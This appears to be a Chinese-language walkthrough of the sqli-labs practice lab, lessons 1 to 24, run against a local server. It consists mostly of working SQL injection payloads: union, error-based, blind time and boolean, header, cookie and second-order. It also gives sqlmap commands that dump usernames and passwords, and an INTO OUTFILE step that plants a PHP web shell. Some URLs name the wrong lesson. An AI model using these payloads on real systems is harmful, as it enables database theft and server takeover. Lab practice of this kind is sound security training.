@TOC
Less-1 GET - Error based - Single quotes - String
select ... from ... where id='$id'
基于union联合查询
http://127.0.0.1/sqli-labs-master/Less-1/?id=0'
报错
http://127.0.0.1/sqli-labs-master/Less-1/?id=0' order by 3--+
- 爆出数据库名
http://127.0.0.1/sqli-labs-master/Less-1/?id=0' union select 1,2,database()--+
- 爆出表名
http://127.0.0.1/sqli-labs-master/Less-1/?id=0' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
- 爆出列名
http://127.0.0.1/sqli-labs-master/Less-1/?id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_name="users"--+
- 爆出字段
http://127.0.0.1/sqli-labs-master/Less-1/?id=0' union select 1,2,group_concat(username,0x3a,password) from users--+
==(0x3a:0x是十六进制标志,3a是十进制的58,是ascii中的 ':' ,用以分割pasword和username)==
使用sqlmap跑:
sqlmap -u "127.0.0.1/sqli-labs-master/Less-1/?id=1" --current-db
- 跑出当前数据库
sqlmap -u "127.0.0.1/sqli-labs-master/Less-1/?id=1" -D security --tables
- 爆出表名
sqlmap -u "127.0.0.1/sqli-labs-master/Less-1/?id=1" -D security -T users --columns
- 爆出列名
sqlmap -u "127.0.0.1/sqli-labs-master/Less-1/?id=1" -D security -T users -C id,password,username --dump
-
爆出字段
Less-2 GET - Error based - Intiger based
当输入id=1‘值时,发现所输入的id值全部都带入进去了
猜测出:select ... from ... where id=$id
所以,将id=1’中的单引号去掉,然后按less-1的步骤进行报表即可
Payload:
爆出数据库栏位,回显错误说明输入栏位大了,回显正确说明栏位小雨或等于此栏位
http://127.0.0.1/sqli-labs-master/Less-3/?id=1 order by 3--+爆出数据库名
http://127.0.0.1/sqli-labs-master/Less-3/?id=0 union select 1,2,database()--+爆出表名
http://127.0.0.1/sqli-labs-master/Less-3/?id=0 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+爆出列名
http://127.0.0.1/sqli-labs-master/Less-3/?id=0 union select 1,2,group_concat(column_name) from information_schema.columns where table_name="users"--+
http://爆出字段
http://127.0.0.1/sqli-labs-master/Less-3/?id=0') union select 1,2,group_concat(username,0x3a,password) from users--+
Less-3 GET - Error based - Single quotes with twist string
当输入id=1’值时,发现输出的报错会自动加上一个右括号
猜测出:select ... from ... where id=('$id')
,所以,将id=1’中的单引号去掉,然后按less-1的步骤进行报表即可
Payload:
爆出数据库栏位
http://127.0.0.1/sqli-labs-master/Less-3/?id=1')order by 5 --+爆出数据库名
http://127.0.0.1/sqli-labs-master/Less-3/?id=0') union select 1,2,database()--+爆出表名
http://127.0.0.1/sqli-labs-master/Less-3/?id=0') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+爆出列名
http://127.0.0.1/sqli-labs-master/Less-3/?id=0') union select 1,2,group_concat(column_name) from information_schema.columns where table_name="users"--+爆出字段
http://127.0.0.1/sqli-labs-master/Less-3/?id=0') union select 1,2,group_concat(username,0x3a,password) from users--+
Less-4 GET - Error based - Double Quotes - String
当输入id=1’值时,发现不报错,输入id=1”
猜测出:select ... from ... where id=("$id")
一一
Payload:
爆出数据库栏位
http://127.0.0.1/sqli-labs-master/Less-3/?id=1”) order by 3 --+爆出数据库名
http://127.0.0.1/sqli-labs-master/Less-3/?id=0”) union select 1,2,database()--+
爆出表名:
http://127.0.0.1/sqli-labs-master/Less-3/?id=0”) union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+爆出列名:
http://127.0.0.1/sqli-labs-master/Less-3/?id=0”) union select 1,2,group_concat(column_name) from information_schema.columns where table_name="users"--+爆出字段:
http://127.0.0.1/sqli-labs-master/Less-3/?id=0”) union select 1,2,group_concat(username,0x3a,password) from users--+
Less-5 GET - Double Injection - Single Quotes - String
当输入id=1’时出现
猜测其应该是布尔型盲注、报错型注入、时间延迟型盲注中的一种,构造时间延迟盲注payload:
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and sleep(5)--+
发现有明显延迟,说明其是时间延迟注入类型,构造爆破Payload:
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and sleep(5) order by 3--+
时间延迟型手工注入,正确会延迟,错误没有延迟。
本方法中payload = ... ?id=1' and if(报错型payload核心部分,sleep(5),1)--+
- 爆数据库名称长度:
Payload:http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and if(length(database())=8,sleep(5),1)--+
明显延迟,数据库名称长8位
- 爆数据库名:
Payload:http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and if(left(database(),1)='s',sleep(5),1)--+
明显延迟,数据库第一个字符为s,加下来以此增加left(database(),字符长度)中的字符长度,等号右边以此爆破下一个字符,正确匹配时会延迟。最终爆破得到left(database(),8)='security'
- 爆出表名:
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and if( left((select table_name from information_schema.tables where table_schema=database() limit 3,1),1)='u' ,sleep(5),1)--+
其中 limit 3,1 中3代表第三个表
一个一个字母的爆破,最后
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and if( left((select table_name from information_schema.tables where table_schema=database() limit 3,1),5)='users' ,sleep(5),1)--+
明显延迟,说明表名为users
- 爆出列名:
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and if(left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='username' ,sleep(5),1)--+
明显延迟,说明存在username列
同理,爆出password列
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and if(left((select column_name from information_schema.columns where table_name='users' limit 5,1),8)='password' ,sleep(5),1)--+
- 爆出字段:
Username payload:http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and if(left((select password from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+
Password payload:http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and if(left((select username from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+
按照id排序,这样便于对应。注意limit 从0开始.通过坚持不懈的尝试终于爆破到第一个用户的名字dumb,密码dumb,需要注意的是,mysql对大小写不敏感,所以你不知道是Dumb 还是dumb。
可以更改id值,将所有字段都爆出来
==最好用sqlmap跑,可以直接爆库==
Less-6 GET - Double Injection - Double Quotes - String
双引号字符型注入,上一题的单引号改成双引号就可以了,同样是两种方法:时间延迟型的手工盲注、报错型的手工盲注或者sqlmap
Less-7 GET - Dump into outfile - String
Payload:http://127.0.0.1/sqli-labs-master/Less-7/?id=1'))--+
正常回显,猜测其sql语句:select ... from ... where id=(('$id'))
用第二题查询路径:
Payload:
http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1,@@basedir,@@datadir --+然后上传一句话木马:
http://127.0.0.1/sqli-labs-master/Less-7/?id=-1')) union select 1,2,'' into outfile "/var/www/html/sqli-labs-master/Less-7/hacker.php"--+(==linux系统Apache服务器==)
然后用菜刀连接:
Less-8 GET - Blind - Boolian Based - Single Quotes
输入id=1时,回显,输入id=1’时不回显,当输入id=1’--+时,回显,所以,可以根据回显来判断,方法如less-5
爆出数据库名长度payload:
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and length(database())=8--+爆出数据库名payload:
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and left((select database()),8)="security"--+
接下来爆出表名,列名,字段名,按照less-5方法即可
爆出security的表名payload:
爆出users
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and left((select table_name from information_schema.tables where table_schema=database() limit 3,1),5)="users"--+爆出users表中的列名和列名:
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and left((select column_name from information_schema.columns where table_name="users" limit 4,1),8)="username"--+
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and left((select column_name from information_schema.columns where table_name="users" limit 5,1),8)="password"--+爆出字段:
Username payload:http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and left((select username from users order by id limit 0,1),4)="dumb"--+
Password payload:http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and left((select password from users order by id limit 0,1),4)="dumb"--+
按照id排序,改变limit 值,一一爆出所有字段
Less-9 Blind - Time based. - Single Quotes
由此题名可知,是时间延迟盲注型,输入id=1’and sleep(5)--+
存在明显延迟,说明其sql语句是:select ... from... where id=’$id’
Payload:
爆出数据库栏位数:
http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and sleep(5) order by 3 --+
存在明显延延迟,当输入order by 后为4时,发现没有延迟,说明栏位数为3
爆出数据库长度:
http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and sleep(5) and length(database())=8 --+
存在明显延迟,说明正确
爆出数据库名:
其实就是一个一个的尝试,这种方法很耗时间
http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and sleep(5) and left(database(),1)='s' --+
明显延迟,继续增加字符数
http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and sleep(5) and left(database(),2)='se' --+
...
直到找完8个字符
http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and sleep(5) and left(database(),8)='security' --+爆出列名:
同爆数据库名一样,一个一个的爆
http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(left((select table_name from information_schema.tables where table_schema=database() limit 3,1 ),1)='u',sleep(3),1)--+
其中limit x,1),y) 中的x代表第几个表,y代表几个字符,一个一个字符的尝试
http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(left((select table_name from information_schema.tables where table_schema=database() limit 3,1),5)='users',sleep(3),1)--+
爆出我们所需的表名:users爆出列名:
同上道理
Username payload:http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='username',sleep(3),1)--+
Password payload:http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(left((select column_name from information_schema.columns where table_name='users' limit 5,1),8)='password',sleep(3),1)--+
爆出字段:爆出username列字段:
http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(left((select username from users order by id limit 0,1),4)='dumb',sleep(3),1)--+
爆出password列字段:
http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(left((select password from users order by id limit 0,1),4)='dumb',sleep(3),1)--+
同理,一个一个的爆出所有字段
Less-10 GET - Blind - Time based - double quotes
只需把了less-9的id=1’改为id=1”即可,其它都与less-9都一样
Less-11 POST - Error Based - Single quotes- String
输入 ttr,123使用burp抓包:
使用burp修改参数,重新传参:uname=ttr'or 1=1--+&passwd=123&submit=Submit
成功绕过,入侵内部
判断栏位数:
uname=ttr’ order by 2 --+&passwd=123&submit=Submit
当order by x 后的x为3时,爆错,说明栏位是2
- 爆出数据库:
Payload:uname=ttr'union select 1,database()--+&passwd=123&submit=Submit
爆出数据库名为:security
- 爆出表名:
Payload:uname=ttr'union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()--+&passwd=123&submit=Submit
爆出表名,其中users是我们需要的
- 爆出列名:
Payload:uname=ttr'union select 1,group_concat(column_name) from information_schema.columns where table_name='users'--+&passwd=123&submit=Submit
列名有==USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password==其中username和password是我们要的
- 爆出字段:
Payload:uname=ttr'union select 1,group_concat(username,0x3a,password) from users--+&passwd=123&submit=Submit
爆出来所有的用户名和密码
Less-12 POST - Error Based - Double quotes- String-with twist
由题目可知,是双引号注入型
使用burp抓包,然后尝试猜测其SQL语句,经过几次尝试,构造出爆破参数
Payload:uname=ttr") or 1=1--+&passwd=123&submit=Submit
接下来,就可以直接安装less-11的构造方法一步步爆出数据库名,表名,列名,字段
Less-13 POST - Double Injection - Single quotes- String -twist
当输入正确的用户名和密码时,发现不在输入用户名和密码猜测其应该是布尔型注入
使用burp抓包,尝试构造payload进行爆破,尝试几次,构造出爆破参数
既然是布尔类型,那么可以less-5一样,可以一步一步的爆破,可是使用burp这样是不行的,所以,就查找新的思路
百度一下,发现大佬们有使用报错型注入方式的
==报错型注入方式:==
由上可知,SQL语句为 select ... from ... where id=(‘$id’)
报错型注入主要是用extractvalue()函数和concat()函数,先了解一下这个函数
extractvalue() :对XML文档进行查询的函数
语法:extractvalue(目标xml文档,xml路径)
第二个参数 xml中的位置是可操作的地方,xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容。
正常查询 第二个参数的位置格式 为 /xxx/xx/xx/xx ,即使查询不到也不会报错
extractvalue()能查询字符串的最大长度为32
concat(str,str,...)
返回结果为连接参数产生的字符串。如有任何一个参数为NULL ,则返回值为 NULL。
Payload:
- 爆出数据库名:
uname=ttr') and extractvalue(1,concat('~',(select database()))) --+&passwd=123&submit=Submit
以~开头的内容不是xml格式的语法,报错,但是会显示无法识别的内容是什么,这样就达到了目的。
- 爆出表名:
uname=ttr') and extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+&passwd=123&submit=Submit
- 爆出列名:
uname=ttr') and extractvalue(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_name='users'))) --+&passwd=123&submit=Submit
显然没有将所有的列都爆出来,那么可以使用not in()将爆破后面的列名
修改payload如下
uname=ttr') and extractvalue(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_name='users' and column_name not in('user','current_connections','total_connections')))) --+&passwd=123&submit=Submit
爆出所需列名
uname=ttr') and extractvalue(1,concat('~',(select group_concat(username,0x3a,password) from users))) --+&passwd=123&submit=Submit
-
爆出字段:
可以看出只是爆出了部分字段,想要爆出所有字段,想上面一样使用 not in()方法
简单方式:==sqlmap方式==
首先,抓包后将文件保存为txt文件
我将文件命名为less13.txt,并保存到桌面上
然后,使用sqlmap进行爆破
- 爆出数据库名:
sqlmap -r /home/ttr/桌面/less13.txt --dbs
==less13.txt前需要写绝对路径==
- 爆出表名:
sqlmap -r /home/ttr/桌面/less13.txt -D security --tables
- 爆出列名:
sqlmap -r /home/ttr/桌面/less13.txt -D security -T users --columns
- 爆出字段:
sqlmap -r /home/ttr/桌面/less13.txt -D security -T users -C password,username --dump
Less-14 Double Injection - Single quotes- String -twist
直接使用burp抓包,尝试构造payload,猜测内部sql语句,尝试几次
所以,payload为:uname=ttr" or 1=1--+&passwd=123&submit=Submit
使用less-13的方式,报错型注入方法
如下:
构造payload爆出数据库:
uname=ttr" and extractvalue(1,concat('~',(select database())))--+&passwd=123&submit=Submit
接下来就像less-13一样,一步步爆出表名,列名,字段即可
也可以使用sqlmap跑
Less-15 POST - Blind- Boolian/time Based - Single quotes
直接使用burp抓包,尝试构造payload,猜测内部sql语句,尝试几次
时间延迟型注入
按照less-5一样,一步一步的爆破数据库,表名,列名,字段,只是不同的是使用burp抓包一步一步实现
Less-16 POST - Blind- Boolian/Time Based - Double quotes
这一题只需将id=ttr”改为id=ttr”),然后在按照less-15的方式即可。
Less-17 POST - Update Query- Error Based - String
Payload:
- 爆出数据库版本:
uname=admin&passwd=admin' or updatexml(1,concat('',version(),''),1)--+&submit=Submit
- 爆出数据库名:
uname=admin&passwd=admin' or updatexml(1,concat(0x7e,database(),0x7e),1)--+&submit=Submit
- 爆出表名:
额,爆出的数据显然不是我想要的,我百度了一下,也没有解决,有空再试,如果有哪位大牛知道,欢迎指点。。。
Less-18 POST - Header Injection - Uagent field - Error based
此题为user-agent型注入
Payload:
-
爆库名:
User-Agent: ' or extractvalue(1,concat(0x7e,(select database()),0x7e)) or '
-
爆出表名:
User-Agent: ' or extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e)) or '
-
爆出列名:
User-Agent: ' or extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e)) or '
使用 not in()将后面的列名爆出来
User-Agent: ' or extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and column_name not in('user','current_connections','total_connections')),0x7e)) or '
-
爆出字段:
User-Agent: ' or extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users),0x7e)) or '
使用not in()方法可以将所有字段都爆出来
Less-19 POST - Header Injection - Referer field - Error based
此题是referer型注入
Payload:
Referer: 'or extractvalue(1,concat(0x7e,(select database()),0x7e)) or '
按照less-18的步骤,一步一步爆出表名,列名,字段即可
Less-20 POST - Cookie injections - Uagent field - Error based
此题是cookie型注入
方法一union联合查询:
Cookie: uname=admi' order by 3#
当order by x后为3时,不报错,当x为4时,报错,说明栏位为3
Payload:
- 爆库名:
Cookie: uname=admi' union select 1,2,database()# - 爆表名:
Cookie: uname=admi' union select 1,2, group_concat(table_name) from information_schema.tables where table_schema=database()# - 爆列名:
Cookie: uname=admi' union select 1,2, group_concat(table_name) from information_schema.tables where table_schema='users'# - 爆字段:
Cookie: uname=admi' union select 1,2, group_concat(username,0x3a,password) from users#
方法二报错型注入:
Payload:
- 爆库名:
Cookie: uname=admin' or updatexml(1,concat(0x7e,database(),0x7e),1)# - 爆表名:
Cookie: uname=admin' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)# - 爆列名:
Cookie: uname=admin' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and column_name not in('user','current_connections','total_connections')),0x7e),1)# - 爆字段:
Cookie:uname=admin' or updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password) from users),0x7e),1)#
如果想爆出所有字段,使用not in()方法
Less-21 Cookie Injection- Error Based- complex - string
输入admin,admin
使用burp抓包,将payload进行base64加密后安装less-20的方法进行爆破即可
Less-22 Cookie Injection- Error Based- Double Quotes - string
Less-22和less-20,less-21的方法一样,不同的是payload改为以uname=admi”开头即可
Less-23 GET - Error based - strip comments
此题过滤了字符 #,- ,这样就不能使用#或者--+进行截断,只能构造闭合型payload
爆库名:
http://127.0.0.1/sqli-labs-master/Less-23/?id= 0' union select 1,2,(select database()) '爆表名:
http://127.0.0.1/sqli-labs-master/Less-23/?id= 0' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database()) '爆列名:
http://127.0.0.1/sqli-labs-master/Less-23/?id= 0' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='users') '爆字段:
http://127.0.0.1/sqli-labs-master/Less-23/?id= 0' union select 1,2,(select group_concat(username,0x3a,password) from users) '
此题也可使用报错型注入法,也可使用sqlmap跑
Less-24 Second Degree Injections Real treat -Store Injections
此题为二次注入,二次注入的思路为:首先在数据库中插入恶意数据,在插入过程中,对其中的特殊字符进行了相应的转义,保存在数据库中的就是自己输入的原始数据,开发者默认数据库中的数据,都是安全的数据,因此,在取出数据库中的恶意数据时,不在进行转义过程,从而造成数据恶意更改。
输入各种payload,发现一律报错,查看源码
mysql_escape_string()函数转义 SQL 语句中使用的字符串中的特殊字符。所以,payload中的特殊字符就会直接进行转义
直接注册新用户,username=admin’#
但是查看注册代码可以发现
同样对特殊字符转义处理
但是从上面可以看出,写到数据库的是原始内容
当登录账号admin’#后,修改密码
查看数据库,发现账号admin的密码由原来的123456修改为666,而注册的账号并没有变化
出现变化的原因主要是
上面的语句在实际执行中变化为:
pass' where username='admin’#' and password='$curr_pass' ";